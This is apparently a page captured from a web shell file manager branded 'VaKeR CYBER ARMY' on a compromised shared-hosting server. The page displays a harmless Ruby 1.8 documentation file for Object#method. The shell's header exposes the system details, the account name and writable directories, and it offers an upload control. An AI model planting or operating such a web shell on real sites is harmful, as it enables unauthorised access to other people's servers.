VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /opt/alt/ruby18/share/ri/1.8/system/Object/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/ruby18/share/ri/1.8/system/Object/method-i.yaml
--- !ruby/object:RI::MethodDescription 
aliases: []

block_params: 
comment: 
- !ruby/struct:SM::Flow::P 
  body: Looks up the named method as a receiver in <em>obj</em>, returning a <tt>Method</tt> object (or raising <tt>NameError</tt>). The <tt>Method</tt> object acts as a closure in <em>obj</em>'s object instance, so instance variables and the value of <tt>self</tt> remain available.
- !ruby/struct:SM::Flow::VERB 
  body: "   class Demo\n     def initialize(n)\n       @iv = n\n     end\n     def hello()\n       &quot;Hello, @iv = #{@iv}&quot;\n     end\n   end\n\n   k = Demo.new(99)\n   m = k.method(:hello)\n   m.call   #=&gt; &quot;Hello, @iv = 99&quot;\n\n   l = Demo.new('Fred')\n   m = l.method(&quot;hello&quot;)\n   m.call   #=&gt; &quot;Hello, @iv = Fred&quot;\n"
full_name: Object#method
is_singleton: false
name: method
params: |
  obj.method(sym)    => method

visibility: public

VaKeR 2022